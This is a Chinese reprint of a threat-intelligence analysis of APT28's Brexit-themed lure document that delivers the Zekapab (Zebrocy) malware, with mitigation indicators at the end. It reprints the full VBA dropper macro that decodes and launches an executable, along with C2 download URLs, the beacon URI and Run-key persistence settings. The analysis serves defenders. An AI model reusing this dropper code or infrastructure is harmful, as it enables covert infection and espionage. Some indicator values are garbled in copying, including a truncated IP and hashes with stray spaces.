APT28新动向:利用英国脱欧主题钓鱼邮件传播Zekapab恶意软件

栏目: ASP.NET · 发布时间: 5年前

内容简介:在英国首相特雷莎·梅宣布与欧盟(EU)达成BREXIT(英国脱欧)初步协议草案的同时,iDefense公司的分析人士指出,SNAKEMACKEREL利用一份以BREXIT为主题的诱饵文档,交付了一款名为“Zekapab(也被称为Zebrocy)”的第一阶段恶意软件。SNAKEMACKEREL是一个以开展间谍活动为主的网络犯罪组织,也被称为Sofacy、Pawn Storm、Sednit、Fancy Bear、APT28、group 74、Tsar Team和Strontium。英国和荷兰政府都曾公然表示,

APT28新动向:利用英国脱欧主题钓鱼邮件传播Zekapab恶意软件

在英国首相特雷莎·梅宣布与欧盟(EU)达成BREXIT(英国脱欧)初步协议草案的同时,iDefense公司的分析人士指出,SNAKEMACKEREL利用一份以BREXIT为主题的诱饵文档,交付了一款名为“Zekapab(也被称为Zebrocy)”的第一阶段恶意软件。

SNAKEMACKEREL是一个以开展间谍活动为主的网络犯罪组织,也被称为Sofacy、Pawn Storm、Sednit、Fancy Bear、APT28、group 74、Tsar Team和Strontium。英国和荷兰政府都曾公然表示,SNAKEMACKEREL隶属于俄罗斯军事情报服务机构(RIS),并与一些特定的网络攻击事件存在关联,包括针对禁止化学武器组织(OPCW)、英国国防和科学技术实验室(DSTL),以及英国外交和联邦事务部(FCO)的攻击。

需要指出的是,这份恶意文档是在英国政府宣布与欧盟达成BREXIT初步协议草案的同一天创建的。这似乎表明,SNAKEMACKEREL是一个密切关注政治事件的网络犯罪组织,能够利用最新的新闻事件来创建诱饵文档,以针对特定目标交付第一阶段恶意软件,如Zekapab。

尽管存在大量有关该组织的公开报道和来自各国政府的指控,但SNAKEMACKEREL仍然非常活跃。它被认为是大量针对全球航空航天和国防承包商、军事组织、政党、国际奥委会(IOC)、反兴奋剂机构、政府部门和各种垂直领域的网络攻击的幕后黑手。到目前为止,SNAKEMACKEREL仍然被认为是影响最为深远,也是最为复杂的网络间谍组织之一。

本报告将针对一份以“BREXIT”为主题的诱饵Microsoft Office文档进行技术分析。如上所述,该文档被用于释放SNAKEMACKEREL活动的第一阶段恶意软件(Delphi版本的Zekapab),iDefense分析师此前曾发表过有关该恶意软件的报告。然而,在对C2服务器109.248.148.42的进一步研究中,iDefense公司的分析师发现了Zekapab的一个新版本(.NET版本),它被设计用于相同的目的。

恶意软件分析

iDefense公司的分析师在最近发现了一份恶意文档,据称与近期英国和欧盟之间的BREXIT谈判有关。

该文件具有以下元数据:

  • 文件名:Brexit 15.11.2018.docx
  • MD5:405655 be03df45881aa88b55603bef1d
  • 文件大小:9 KB(19354字节)
  • 作者:USER
  • 最后修改人:Joohn
  • 版本:Grizli777
  • 创作时间:2018:11:14 14:17:00
  • 修改日期:2018:11:15 04:50:00

这里需要指出的是,Grizli777是Microsoft Word的一个破解版本。

为了诱使目标启用宏,攻击者故意使用了乱码作为文档的内容(见图1):

APT28新动向:利用英国脱欧主题钓鱼邮件传播Zekapab恶意软件

图1. 使用乱码作为文档的内容,以诱使目标启用宏

该文档被设计为通过内嵌在DOCX文档中的settings.xml.rels组件来从hxxp://109.248.148.42/office/thememl/2012/main/attachedTemplate.dotm加载恶意内容(见图2):

APT28新动向:利用英国脱欧主题钓鱼邮件传播Zekapab恶意软件

图2.通过settings.xml.rels加载的恶意内容(宏组件)

下载的宏组件包括一个名为AutoClose()的函数(见图3),以及以Base64编码字符串的形式嵌入的两个payload:

APT28新动向:利用英国脱欧主题钓鱼邮件传播Zekapab恶意软件

图3.AutoClose() 函数

如下代码片段展示的是宏代码的核心部分,与另一起活动(发生于2018年4月份,由ESET报道的)中的宏代码完全相同:

Public Function FolderExists(FolderPath As String) As Boolean
On Error Resume Next
ChDir FolderPath
If Err Then FolderExists = False Else FolderExists = True
End Function
Function FileExists(fname) As Boolean
On Error Resume Next
FileExists = Dir(fname) <> vbNullString
If Err.Number <> 0 Then FileExists = False
On Error GoTo 0
End Function
Sub AutoClose()
Dim vFileName As String
Dim vDocName As String
Application.ActiveWindow.WindowState = wdWindowStateMinimize
vAdd = "ntslwin."
vFileName = Environ("APPDATA") & "\NetworkNV\"
If Not FolderExists(vFileName) Then MkDir (vFileName)
vFileName = vFileName + vAdd & "exe"
If Not FileExists(vFileName) Then SaveFN vFileName, convText(Us
erForm1.Label2.Caption)
'Sleep 2002
vDocName = Environ("TEMP") & "\~de03fc12a.docm"
If Not FileExists(vDocName) Then SaveFN vDocName, convText(User
Form1.Label1.Caption)
zyx (vDocName)
Application.Quit
End Sub
Private Function convText(dsf)
Dim dm, el
Set dm = CreateObject("Microsoft.XMLDOM")
Set el = dm.CreateElement("tmp")
el.DataType = "bin.base64"
el.Text = dsf
convText = el.NodeTypedValue
End Function
Private Sub SaveFN(vNum, vBun)
Dim binaryStream
Set binaryStream = CreateObject("ADODB.Stream")
binaryStream.Type = 1
binaryStream.Open
binaryStream.Write vBun
binaryStream.SaveToFile vNum, 2
End Sub
Public Function zyx(vF)
Dim WA As Object, oMyDoc As Object
Set WA = CreateObject("Word.Application")
WA.Visible = False
Set oMyDoc = WA.Documents.Open(vF)
WA.Application.Run "Module1.Proc1"
Set oMyDoc = Nothing: Set WA = Nothing
End Function
Public Function WriteBinary(strBinary, strPath)
Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject
")
Dim oTxtStream
On Error Resume Next
Set oTxtStream = oFSO.createTextFile(strPath)
Set oTxtStream = Nothing
With oFSO.createTextFile(strPath)
.Write (strBinary)
.Close
End With
End Function

基于对恶意IP地址109.248.148.42的研究,我们发现了两个不同的.dotm组件:

组件1:

  • 文件名:dotm
  • MD5:018611b879b2bbd886e86b62484494da
  • 文件大小:5 MB(1612982字节)

组件2:

  • 文件名:dotm
  • MD5:2a794b55b839b3237482098957877326
  • 文件大小:2 MB(1228358字节)

这两个组件分别是从以下URL被释放的:

  • hxxp://109.248.148.42/office/thememl/2012/main/attachedTemplate.dotm
  • hxxp://109.248.148.42/officeDocument/2006/relationships/templates.dotm

这两个组件都包含如上所示的相同的VBA宏代码,且都包含两个不同的payload:一个是可执行二进制文件,另一个是.docm文件。

attachedTemplate.dotm释放了如下文件:

可执行二进制文件:

  • 文件名:exe
  • MD5:7 e67122d3a052e4755b02965e2e56a2e
  • 文件大小:0 KB(393216字节)
  • 文件类型:使用UPX压缩的Win32可执行文件

.docm文件:

  • 文件名:~ de03fc12a.docm
  • MD5:9 d703d31795bac83c4dd90527d149796
  • 文件大小:0 KB(24659字节)

templates.dotm释放了如下文件:

可执行二进制文件:

  • 文件名:exe
  • MD5:a13c864980159cd9bdc94074b2389dda
  • 编译时间戳:2018-11-13 10:45:42
  • 文件大小:0 KB(32768字节)
  • 文件类型:MS Windows (GUI) Intel 80386 32位Mono/.Net程序集PE32可执行文件

.docm文件:

  • 文件名:~ de03fc12a.docm
  • MD5:9 d703d31795bac83c4dd90527d149796
  • 文件大小:0 KB(24659字节)

其中,~de03fc12a.docm包含一个简单的宏来执行被释放的可执行文件。如下代码片段展示的是~de03fc12a.docm所包含的宏代码:

Sub Proc1()
Dim vFileName As String
Dim add As String
vAdd = "ntslwin."
vFileName = Environ("APPDATA") & "\NetworkNV\"
vFileName = vFileName + vAdd & "exe"
Shell vFileName
Application.Quit
End Sub

对上述两个二进制文件的分析表明,它们实际上分别是Delphi(最初是使用UPX打包的)版本和.NET版本的Zekapab。以下网络流量是由Delphi版本的Zekapab生成的,该样本在UPX解压缩后具有以下元数据:

  • 文件名:exe
  • MD5:f4cab3a393462a57639faa978a75d10a
  • 文件大小:5 KB(1008128字节)
  • 文件类型:Win32可执行文件Borland Delphi 7

图4展示的是由Delphi版本的Zekapab生成的网络流量,一个包含所收集的系统信息的HTTP POST请求。如图4所示,发送的数据似乎是经过URL编码的。

APT28新动向:利用英国脱欧主题钓鱼邮件传播Zekapab恶意软件

图4.由Delphi版本的Zekapab生成的网络流量

需要指出的是,由.NET版本的Zekapab生成的网络流量是没有经过编码的(见图5)。

APT28新动向:利用英国脱欧主题钓鱼邮件传播Zekapab恶意软件

图5.由.NET版本的Zekapab生成的网络流量

无论如何,这两个版本都旨在收集系统信息和正在运行的进程,并使用HTTP POST将它们发送给指定的C2服务器,使用的URI都是“/agr-enum/progress-inform/cube.php?res=”。

一旦攻击者表示对你的设备感兴趣,下一个阶段的恶意软件就将被交付到相应的目录。同时,一个注册表项将被添加并设置,以实现恶意软件随开机自行启动。

对于Delphi版本,以下注册表项和值被用于实现持久性:

  • 注册表项:HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AudioMgr
  • 值:%AppData%\Video\videodrv.exe

对于.NET版本,以下注册表项和值被用于实现持久性:

  • 注册表项:HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleIndexer
  • 值:%AppData%\Platform\sslwin.exe

在.NET版本中,用来收集数据的函数如下所示:

APT28新动向:利用英国脱欧主题钓鱼邮件传播Zekapab恶意软件

图6.NET版本的Zekapab用来收集数据的函数

被收集的数据包括:

  • 来自命令systeminfo和tasklist的结果
  • 当前执行路径
  • 抓取的屏幕截图
  • 枚举驱动器
  • 驱动器序列号

用于下载并执行下一阶段恶意软件的代码如下,包括用于实现持久性的设置:

APT28新动向:利用英国脱欧主题钓鱼邮件传播Zekapab恶意软件

图7..NET版本的Zekapab用来下载并执行下一阶段恶意软件的代码

如上图所示,是否交付下一阶段恶意软件,取决于收集到的信息。

缓解措施

为了避免遭受本报告所描述的恶意软件的侵害,iDefense建议阻断对以下IP地址和URI模式的访问:

  • 248.148.42
  • /agr-enum/progress-inform/cube.php?res=

想要验证设备是否已经遭到感染,iDefense建议搜索以下内容:

  • 网络:是否存在上述提到的HTTP和DNS流量
  • 系统:是否存在以下内容:
    • 注册表项:
      • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AudioMgr
      • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleInde xer
    • 文件:
  • %AppData%\Video\videodrv.exe
  • %AppData%\Platform\sslwin.exe
  • 其他一些文件,散列值:
    • 405655be03df45881aa88b55603bef1d
    • 7e67122d3a052e4755b02965e2e56a2e
    • a13c864980159cd9bdc94074b2389dda
    • 9d703d31795bac83c4dd90527d149796

声明:本文来自黑客视界,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如需转载,请联系原作者获取授权。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

操作系统基础教程

操作系统基础教程

戴维斯 / 第1版 (2006年7月1日) / 2006-7 / 34.0

这是一本关于操作系统基本原理的教科书,其最大特点就是从操作系统的分层概念出发,深入浅出地介绍了操作系统的基本概念和基本框架。本书可以作为高等院校非计算机专业相关课程的教材或参考书,也适合具有高中以上数学基础的计算机用户自学,还可以作为社会上计算机培训机构的教材。对所有想了解计算机操作系统,但又不需要或不打算深入学习其理论和实现细节的读者来说,本书是一本极具价值的入门指导书。一起来看看 《操作系统基础教程》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具